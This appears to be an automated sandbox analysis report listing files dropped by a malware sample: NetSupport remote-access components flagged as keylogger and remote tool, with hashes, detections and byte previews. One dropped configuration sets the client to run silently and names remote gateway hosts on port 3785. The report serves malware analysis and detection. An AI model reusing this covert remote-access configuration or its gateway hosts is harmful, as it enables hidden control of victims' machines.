C:\Users\user\AppData\Local\DNScache\PCICL32.DLL

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3710280
Entropy (8bit):	6.518204410536431
Encrypted:	false
SSDEEP:	49152:xOHDe5Yr6tYA4S+DjdwfwBTNZaZQclSpmTIH:xOHDe5YrvS+tBQSEm
MD5:	AD51946B1659ED61B76FF4E599E36683
SHA1:	DFE2439424886E8ACF9FA3FFDE6CAAF7BFDD583E
SHA-256:	07A191254362664B3993479A277199F7EA5EE723B6C25803914EEDB50250ACF4
SHA-512:	6C30E7793F69508F6D9AA6EDCEC6930BA361628EF597E32C218E15D80586F5A86D89FCBEE63A35EAB7B1E0AE26277512F4C1A03DF7912F9B7FF9A9A858CF3962
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: C:\Users\user\AppData\Local\DNScache\PCICL32.DLL, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Local\DNScache\PCICL32.DLL, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 17%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........h..........<G.............-..........q............q.....q......-.Q....,.\|.....................Rich............PE..L.....U...........!.......... ......].......................................09......9...............................................................8.H.....7.d...................................`...@....................w..`....................text............................... ..`.rdata..............................@..@.data....%..........................@....tls.................p..............@....hhshare.............r..............@....rsrc................t..............@..@.reloc...,....7......V6.............@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\DNScache\TCCTL32.DLL

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	391832
Entropy (8bit):	6.788660116314725
Encrypted:	false
SSDEEP:	6144:/0pwbUb486Yu0LIFZf4TktH4aY384az44lstAZPVJ4hPueU12jXvbJaS0T9XjJpX:8pwbUb48Ju0LIFZf4Tk2aY3FasNAZtJp
MD5:	405A7BCA024D33D7D6464129C1B58451
SHA1:	22B64E211D96D773C510AC82E7A73F8DEBF4E4CD
SHA-256:	092C3EC01883D3B4B131985B3971F7E2E523252B75F9C2470E0821505C4A3A83
SHA-512:	3C8D4CBF377A8BEB793C93B63D521CCD75167DEC02DA43BB91434CB6B0737CA2D61FA201F2825FD1A0CEAAE768BB53D78F737E7C412AAE83D3CDC748893F31E6
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Local\DNScache\TCCTL32.DLL, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............z..z..z.....z.....z.....z..{.Y.z....K.z......z.....z......z.....z.Rich.z.........PE..L...;..U...........!......................................................................@.............................o...T...x....0..8....................@..`E..................................`d..@...............h............................text............................... ..`.rdata../...........................@..@.data...h............\|..............@....rsrc...8....0......................@..@.reloc..&F...@...H..................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\DNScache\client32.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	55456
Entropy (8bit):	3.9089814840046824
Encrypted:	false
SSDEEP:	1536:HtvrImfzoXK6DDvvvDvpvZMt+pan/opgRl2:lImfzoXK9/o66
MD5:	9497AECE91E1CCC495CA26AE284600B9
SHA1:	A005D8CE0C1EA8901C1B4EA86C40F4925BD2C6DA
SHA-256:	1B63F83F06DBD9125A6983A36E0DBD64026BB4F535E97C5DF67C1563D91EFF89
SHA-512:	4C892E5029A707BCF73B85AC110D8078CB273632B68637E9B296A7474AB0202320FF24CF6206DE04AF08ABF087654B0D80CBECFAE824C06616C47CE93F0929C9
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Local\DNScache\client32.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 21%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........H..&...&...&.<.{...&...'...&.@."...&...-...&.x. ...&.Rich..&.........PE..L....Y.K............................ ........ ....@..................................'.......................................0..<....@...r..........P...P............ ..............................................X0...............................text............................... ..`.rdata....... ....... ..............@..@.idata.......0.......0..............@....rsrc....r...@.......@..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\DNScache\client32.ini

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	637
Entropy (8bit):	5.387596614765334
Encrypted:	false
SSDEEP:	12:pWqH+ZbsGSyLBa/vpVSXCxOZ7CCPfu82kJCYublu/fqILA:0qe6U8zxOLrVzusfpc
MD5:	5274A126EE2F7F926FB8F9AC53A57ABD
SHA1:	10EEB6DBD99013C7969C27D09104FCB0FFBD97DA
SHA-256:	B3F198F6976B2A97A0AAFD4127BF1A274C3CA388226DE13DA37F3B5976B439CA
SHA-512:	FCF0B3C57BD2DB6544274CB622C4855E915C74705C311E3F94749A401238EBF525FB4C9607528DEDB9944B8C682A3DA2E4BCDD9A0E6D7367241430E54AB290DB
Malicious:	false
Preview:	0x822315b....[Client].._present=1..DisableChatMenu=1..DisableDisconnect=1..DisableReplayMenu=1..SecurityKey2=dgAAAMMIrHFRU0tiSzaaF9m1asQA..Protocols=3..Shared=1..ValidAddresses.TCP=..silent=1..AlwaysOnTop=0..SOS_Alt=0..DisableMessage=1..SOS_LShift=0..DisableRequestHelp=1..SOS_RShift=0..DisableChat=1..SysTray=0..UnloadMirrorOnDisconnect=0..AutoICFConfig=1..Usernames=....[_License]..quiet=1....[_Info]..Filename=C:\Users\Public\NetSups\client32u.ini....[General]..BeepUsingSpeaker=0....[HTTP]..CMPI=60..GatewayAddress=ganeres1.com:3785..Port=3785..GSK=EM;A@JFA:D>D@EBIFK:N@FDF..SecondaryGateway=ganeres2.com:3785..SecondaryPort=3785..

C:\Users\user\AppData\Local\DNScache\msauserext.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18944
Entropy (8bit):	5.268518137985743
Encrypted:	false
SSDEEP:	384:Mn/g+juoejt267oVz36sV+Vxclf0d3gZwcWCzOW:g1Ac1WgZwQz
MD5:	C4029309233F46F89C99EECA439B279F
SHA1:	07D9A61ADD09A241ABF04AA03D727C78A2CB9932
SHA-256:	AD1712FD9634521ADF14DF34D49234B87731BA87D347F5D1A7E08F356531AD67
SHA-512:	25E76D3D52B8F1B2F597B70297541A06B4E6809EF76B8E27EDE657013FB4634A57DF86289C19EF4F113CC99D738EF2B2DC69F61B9AA44C16BCAFBBD4DF3FB62C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........e...6...6...6..M6...6...7...6...7...6...6...6...7...6...7...6...7...6...7...6..!6...6...7...6Rich...6........PE..L......]...........!.....0..........`1.......@............................................@A.........................:.......P.......p.......................... .......T............................................P......4:..@....................text...3........0.................. ..`.data........@.......4..............@....idata.......P.......6..............@..@.didat.......`.......>..............@....rsrc........p.......@..............@..@.reloc.. ............F..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\DNScache\mscat32.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11776
Entropy (8bit):	4.958216172325469
Encrypted:	false
SSDEEP:	192:6W3M4nhhiMUBcky6BY6iyREGa2XsA9EcMZE6f4mg9cT/55Sk4QW3iWwS:thhiMUBY6K6UZxNW3iWN
MD5:	E1E14A4208F014B12732E596AF8B497B
SHA1:	977EDCB5E3BBB964C41466D678FB122B02BC372E
SHA-256:	3044365184CFBFBA62EC55C013D66B1CD8A7F5BCBAAA1E68D58F998FE5A27B44
SHA-512:	99CEEF8A160D1E06726F683951C1CBC5637CA39AC62F938A3F7823192A11E42676717EB65F25DC438208C01D1812A0436040BCF27D9173EDF6581F89F620FEE0
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........j..j..j...N..j.....j.....j..j..j.....j.....j.....j..."..j.....j.Rich.j.................PE..L......[...........!................p........0.....`.........................p............@A......................... .......@.......P.. ....................`..h.......T............................................@...............................text............................... ..`.data...L....0......................@....idata..H....@......................@..@.rsrc... ....P.......&..............@..@.reloc..h....`.......,..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\DNScache\mscpx32r.dLL

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2560
Entropy (8bit):	2.560525784264512
Encrypted:	false
SSDEEP:	24:eH1GSYWciw1lL/ReD5uIZW072wmgNuKpB35WWdPPYPNy:yYQGLRwcIZWINuyx5WwHg
MD5:	8C3A464EE6AA2B5AA573564D9BD6541D
SHA1:	4868CAC6E7C788BFD736A696F633D8CFD7A620EC
SHA-256:	E5CA3F9B9833184C35AD89F615BF7A5108B7721D685A795CE4019C3D2609FDE6
SHA-512:	71E97D0BE449D9BC423AD253E11AD848BAFFD70B60AD20240224BF04DCA279BAF4ECEC9AD65B72C487715F5A109ECF9EAD6528D758B5696970204953CB9EE5FE
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......5.<.q.R.q.R.q.R.e...p.R.e.P.p.R.Richq.R.................PE..L...k`c............!.........................................................0......k.....@.......................................... .. ...............................8............................................................................text...............................@..@.rsrc... .... ......................@..@....k`c.........T...8...8.......k`c.........$...................8....rdata..8...x....rdata$zzzdbg.... ..`....rsrc$01....` .......rsrc$02.... ....,v..Y..b....,1... yU=8Vh)k`c.........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\DNScache\mscpxl32.dLL

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	14848
Entropy (8bit):	5.455474829818716
Encrypted:	false
SSDEEP:	384:8gRP+xeEPR4l8fxjL9+EM/ko5V5HWLpW:8u+xFPR4lqx0RfO
MD5:	0DD075E74F248AEBC50F5A2DCB5BF42B
SHA1:	857FD626A19ED5EB99155D71DC2C4293D1A2DF0C
SHA-256:	432B1BF04B68942BD54A8DFCE2799D733881351AC9B1FF2F0C4D2EF49F8C3613
SHA-512:	9866AF509EF3EE42093BDE90847CA6A8D7B9BFFA5C38474AF16F815689328229B4F21C33A2535A4F86F671B35902668E76CD8E636CD5E726CD5B31D9226B8401
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......5.b.q...q...q...e...p...e...}...q...\...e...v...e...p...e...r...e..p...e...p...Richq...........PE..L....=.L...........!.....$...4.......+.......@............................................@A........................ 3.......p..P...............................L... ...T............................................p...............................text....#.......$.................. ..`.data....$...@.......(..............@....idata..l....p.......*..............@..@.rsrc................0..............@..@.reloc..L............6..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\DNScache\msvcp140_1.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	21384
Entropy (8bit):	6.505465569400541
Encrypted:	false
SSDEEP:	384:90DT4KNMJFJwjp3/rWcW5gWsHb914gHRN7+X7aJdlGsG:Cw0MnJc3GUbjQ7aJG
MD5:	93FD1AFD72BC414788B8422508F69101
SHA1:	1E2FCF6B1B1005C7A8E04F3AE18065FB57CBCEB2
SHA-256:	8DB18F6CB26D179EE5374DA687A9FDDFCB0B3B2A99346FEAA95844C830BDA606
SHA-512:	9A3725D7AEA385DDA331CD569C8B4BE953761E406729F04D4872B3C0EB914B993AD521AD2963C74D59ACE0CEC547E1D20AE18E278FE9A743009D10F9DC838EC1
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........n.`.=.`.=.`.=...<.`.=..1=.`.=...<.`.=...<.`.=.`.=.`.=...<.`.=...<.`.=...<.`.=..]=.`.=...<.`.=Rich.`.=........................PE..L....L.`.........."!................ ........0...............................p......~\|....@A.........................*..J....@..x....P...............0...#...`..t...X...8...............................@............@...............................text............................... ..`.data...0....0....... ..............@....idata.......@......."..............@..@.rsrc........P.......(..............@..@.reloc..t....`.......,..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\DNScache\msvcp140_codecvt_ids.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18832
Entropy (8bit):	6.4434700117269585
Encrypted:	false
SSDEEP:	384:tKDL6r3uJBAjEOTWikEWEZ1e14gHRN7NslXFTnh:Aa3urdT8GNmt
MD5:	0AB5BACD140CB2A1014A2EF49E56A770
SHA1:	CE60ADF0EF64B3C0B69F4EC69A7BEA855E448D57
SHA-256:	DE699589DB52A7E952B3F2DF186E346B1A68E7AD9F6DC38C390D4A1CEB99FEAC
SHA-512:	025B5301320000DCB09EECB4D0B20CC0F991121A4CCC911A88BDE4D83387FC995A84FE7B7E88907A38AEFA9B35B67C29390220743DC193CD938C45D6F798B390
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........mm[............v~.......t..............uz......uz......uz......uz......uz......uz......uz......Rich............PE..L....L.`.........."!.........................0...............................p............@A........................0"../...p@..P....P..0............&...#...`..L...D...8...............................@............@..h............................text..._........................... ..`.data........0......................@....idata..x....@......................@..@.rsrc...0....P......................@..@.reloc..L....`.......$..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\DNScache\msvcr100.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	773968
Entropy (8bit):	6.901559811406837
Encrypted:	false
SSDEEP:	12288:nMmCy3nAgPAxN9ueqix/HEmxsvGrif8ZSy+rdQw2QRAtd74/vmYK6H3BVoe3z:MmCy3KxW3ixPEmxsvGrm8Z6r+JQPzV7z
MD5:	0E37FBFA79D349D672456923EC5FBBE3
SHA1:	4E880FC7625CCF8D9CA799D5B94CE2B1E7597335
SHA-256:	8793353461826FBD48F25EA8B835BE204B758CE7510DB2AF631B28850355BD18
SHA-512:	2BEA9BD528513A3C6A54BEAC25096EE200A4E6CCFC2A308AE9CFD1AD8738E2E2DEFD477D59DB527A048E5E9A4FE1FC1D771701DE14EF82B4DBCDC90DF0387630
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......:.y.~...~...~...w...}...~.......eD.....eD..+...eD..J...eD......eD......eD......eD......Rich~...................PE..L......M.........."!.........................0.....x......................................@..........................H......d...(.......................P.......$L...!..8...........................hE..@............................................text...!........................... ..`.data....Z...0...N..................@....rsrc................f..............@..@.reloc..$L.......N...j..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\DNScache\neth.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2560
Entropy (8bit):	2.8002329163397075
Encrypted:	false
SSDEEP:	24:eH1GSZhLcgqbzC2tACIZW098CQNuv2S435WWdPPYPNyDjrsC:yTLcg12tVIZWO8tulG5WwHgwrs
MD5:	84F50C4ACD6A1DEE845DD5B9E9CBFDED
SHA1:	337E4B5AE8060F43BBA726E823C6039FB422661C
SHA-256:	2E225340E39ABAA2458585573E63E5A54D75228D13B8AF6FBE608CC0D0C15378
SHA-512:	573EA97C9DBAE14722902E306D0F88AB54CB9E015F59DA69B680D8075F0E6BD186B99FE7FAAA4EE697C051F4CFA9D583E2AEBAD409D5715FB1465D13C7380050
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......5.<.q.R.q.R.q.R.e...p.R.e.P.p.R.Richq.R.................PE..L.....p...........!..............................`D.........................0............@.......................................... ..................................8............................................................................text...............................@..@.rsrc........ ......................@..@......p........T...8...8.........p........$...................8....rdata..8...x....rdata$zzzdbg.... .......rsrc$01..... ..X....rsrc$02.... .....!.qf.\|.I.?.z!t...$8.It..t...p........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\DNScache\netmsg.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2560
Entropy (8bit):	2.80282468887158
Encrypted:	false
SSDEEP:	24:eH1GSPEcpcgKEOlxmM87C2tACIZW0s8A8YNu49hZ35WWdPPYPNyydsC:ybpcgc8O2tVIZWv8ADu4hJ5WwHgFds
MD5:	4FCF8ECBD47D01828AA075D9F25DC681
SHA1:	1AC5DCD81C3435B41E29F5C564F1D52A1511C69D
SHA-256:	2FC489C36E823CDD45A250DC7C9306B8C2A73819D1D054AEAB63FF4E113A8760
SHA-512:	952F256D05E23B4D6772B6304F0AA3FB2F7D959C06546937DE7CD62631ACE2CF8110BCF61A448A51974E58C44D6FAE83C942F8F0535F68A6488AE1DAC44730E4
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......5.<.q.R.q.R.q.R.e...p.R.e.P.p.R.Richq.R.................PE..L.....N............!..............................XD.........................0......~\....@.......................................... ..................................8............................................................................text...............................@..@.rsrc........ ......................@..@......N.........T...8...8.........N.........$...................8....rdata..8...x....rdata$zzzdbg.... .......rsrc$01..... ..X....rsrc$02.... ...1.V..r?...`.\P....{2.<..~...N.........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\DNScache\nskbfltr.inf

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	Windows setup INFormation
Category:	dropped
Size (bytes):	328
Entropy (8bit):	4.93007757242403
Encrypted:	false
SSDEEP:	6:a0S880EeLL6sWqYFcf8KYFEAy1JoHBIr2M2OIAXFYJKRLIkg/LH2yi9vyifjBLWh:JShNvPG1JoHBx2XFhILH4Burn
MD5:	26E28C01461F7E65C402BDF09923D435
SHA1:	1D9B5CFCC30436112A7E31D5E4624F52E845C573
SHA-256:	D96856CD944A9F1587907CACEF974C0248B7F4210F1689C1E6BCAC5FED289368
SHA-512:	C30EC66FECB0A41E91A31804BE3A8B6047FC3789306ADC106C723B3E5B166127766670C7DA38D77D3694D99A8CDDB26BC266EE21DBA60A148CDF4D6EE10D27D7
Malicious:	false
Preview:	; nskbfltr.inf..;..; NS Keyboard Filter..; ..;..; This inf file installs the WDF Framework binaries....[Version]..Signature="$Windows NT$"..Provider=NSL......;..;--- nskbfltr Coinstaller installation ------..;......[nskbfltr.NT.Wdf]..KmdfService = nskbfltr, nskbfltr_wdfsect....[nskbfltr_wdfsect]..KmdfLibraryVersion = 1.5......

C:\Users\user\AppData\Local\DNScache\nsm_vpro.ini

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	46
Entropy (8bit):	4.532048032699691
Encrypted:	false
SSDEEP:	3:lsylULyJGI6csM:+ocyJGIPsM
MD5:	3BE27483FDCDBF9EBAE93234785235E3
SHA1:	360B61FE19CDC1AFB2B34D8C25D8B88A4C843A82
SHA-256:	4BFA4C00414660BA44BDDDE5216A7F28AECCAA9E2D42DF4BBFF66DB57C60522B
SHA-512:	EDBE8CF1CBC5FED80FEDF963ADE44E08052B19C064E8BCA66FA0FE1B332141FBE175B8B727F8F56978D1584BAAF27D331947C0B3593AAFF5632756199DC470E5
Malicious:	false
Preview:	[COMMON]..Storage_Enabled=0..Debug_Level=0....

C:\Users\user\AppData\Local\DNScache\pcicapi.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	33144
Entropy (8bit):	6.737780491933496
Encrypted:	false
SSDEEP:	768:FFvNhAyi5hHA448qZkSn+EgT8To1iTYiu:FCyoHA448qSSzgI2GQ
MD5:	DCDE2248D19C778A41AA165866DD52D0
SHA1:	7EC84BE84FE23F0B0093B647538737E1F19EBB03
SHA-256:	9074FD40EA6A0CAA892E6361A6A4E834C2E51E6E98D1FFCDA7A9A537594A6917
SHA-512:	C5D170D420F1AEB9BCD606A282AF6E8DA04AE45C83D07FAAACB73FF2E27F4188B09446CE508620124F6D9B447A40A23620CFB39B79F02B04BB9E513866352166
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Local\DNScache\pcicapi.dll, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........+-..E~..E~..E~.\.~..E~.\.~..E~...~..E~..D~..E~.\.~..E~.\.~..E~.\.~..E~.\.~..E~...~..E~.\.~..E~Rich..E~........PE..L......U...........!.....2...........<.......P...............................`............@..........................^.......W..d....@..x............X..x)...P......`Q...............................V..@............P..@............................text....1.......2.................. ..`.rdata.......P.......6..............@..@.data...,....`.......F..............@....rsrc...x....@.......H..............@..@.reloc.......P.......P..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\DNScache\remcmdstub.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	63320
Entropy (8bit):	6.439464682558898
Encrypted:	false
SSDEEP:	1536:bJfanvXuN86jJ9hUHYBlXUYwT24a+yVwQ:lanPGjJTU4IYia+yVX
MD5:	35DA3B727567FAB0C7C8426F1261C7F5
SHA1:	B71557D67BCD427EF928EFCE7B6A6529226415E6
SHA-256:	89027F1449BE9BA1E56DD82D13A947CB3CA319ADFE9782F4874FBDC26DC59D09
SHA-512:	14EDADCEECEB95F5C21FD3A0A349DD2A312D1965268610D6A6067049F34E3577FC96F6BA37B1D6AB8CE21444208C462FA97FAB24BBCD77059BC819E12C5EFC5A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........(T-.I:~.I:~.I:~..~.I:~.1.~.I:~.I;~.I:~..~.I:~..~.I:~..~.I:~..~.I:~Rich.I:~........PE..L.....(Y.....................J.......!............@.......................... .......D....@....................................<.......T...............X'..............................................@...............@............................text............................... ..`.rdata..,%.......&..................@..@.data....-..........................@....rsrc...T...........................@..@.reloc..p...........................@..B................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Jjv9ha2GKn.exe.log

Download File

Process:	C:\Users\user\Desktop\Jjv9ha2GKn.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLU84jE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4j:MgvjHK5HKH1qHiYHKh3oPtHo6hAHKzea
MD5:	EA88ED5AF7CAEBFBCF0F4B4AE0AB2721
SHA1:	B2A052ACB64FC7173E568E1520AA4D713C5E90A3
SHA-256:	50FD579DC293CFBE1CF6E5C62E0B4F879B72500000B971CE690F39FA716A3B53
SHA-512:	D1B6E5D67808E19A92A2C8BD4C708D13170D1AFD5C3CDFDA873F1C093D80B24D4101325EF20285EEEE8501239F2F1F7FA96C4571390A5B7916DCD3B461B66EC6
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\2nd2_3[1].zip

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	64489
Entropy (8bit):	7.993298011514335
Encrypted:	true
SSDEEP:	1536:NFyQKEjEK5CXhJ8bVSSd1ck0fEHv1gqvK6CeLd2qyV0BlvqMKSK:LPIuCX8SSd1/0fEdDi6hzpPq13
MD5:	6177485D0E1E5E167AB65798E70D44AB
SHA1:	6634623E2B5359BC386A633358ADFD6F4DA9A64C
SHA-256:	7495676881CD5B7D6D09AD43F90529F6E6B2761697E5A24397F8E8E03FAF05DF
SHA-512:	920E5E8CCA53B9C825E7761631F36B61BFE6206EAA734B799BD82201147378EDD2B847EEAD9A66FB1020AC2F488B0CF1EF24FAE34F81AC7237BE6AAA1F26226D
Malicious:	false
Preview:	PK........e..H'...8...xI......PCICHEK.DLL.9y\S..s..a.R...@..(..(.....4%.......l.7A.Zeq...u...X..Jk..Zk..l.}..uo.....Z..L..[.?...}.sp..Y...3sc..H...@u8.j@.........c...c.H...?$.H/.-......Z..d...99o3..&y....h.q...{.p..J<....55.>/.l.!..h...7.h..\|...&.@GS,.w]....zm....J.P:..fo.y.oQ...; .NZ...\......!7Da...<g..N`v..Q.!t.:.%.!.....B.^j.x@/.G.Y..wE.....F.V..........L.E.:...."v...gk)2Nb.S...\|.....\c$/.Z.k.KF..{<g0..7.......d...GK.i.4..?..u..q{...Y....4d.[y.{.=~..F......f..n..=..o...k....F.TT.(.2......!..........i......;.....n>.c.)....6.........._.+...3...gG#................K.+a.....w.J.=.?.n..T+WWg..q..mP.>...;......0i?.q..S...O..H.tt.$.<u.f..g....w.$3.m.E...-.\..\|Pm........Z.E\...=.lo...7fE....u..z..e..z...SI.duk...OT....2.......j2.6.2D'.@.5...5*j......[.;j.Q....Iz..g.a.7Q0...q;...R...{!T....53..v8T..=.......<..9..l.>.Id`.t..\/?.3Z.n.RV.+....,...j.#......?..;@nv.;;.f...&....6.....$.o{.._.........../.q...x.6....;H.z.\V.b...}.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\2nd2_2[1].zip

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	1397545
Entropy (8bit):	7.996586865211503
Encrypted:	true
SSDEEP:	24576:ML8FKI/QnVC01gplou+ufwZwNDF3iioYr3oXPrPRB7t6U/9iYTN+sJvRf48c960H:G8N/QnYggLou+ufwZwNDF3D7wnR9iY8r
MD5:	3BE03950993CAB960114E6A5A1D8378E
SHA1:	81C1C423CE16056E361D73B2604BA3440C92F239
SHA-256:	72378062978693700F5DEC49F4E5AF35CF75B7061317766731A25044CFC437E3
SHA-512:	C521389A3D1539CE6E560F053DAA6C55219341C48E1CB88346481CE9E1DECE0EEBC6D8E7AFC06C8AD89F103BA191EBBFAEDA84DEF1B5DB659E5C85A98F9146E6
Malicious:	false
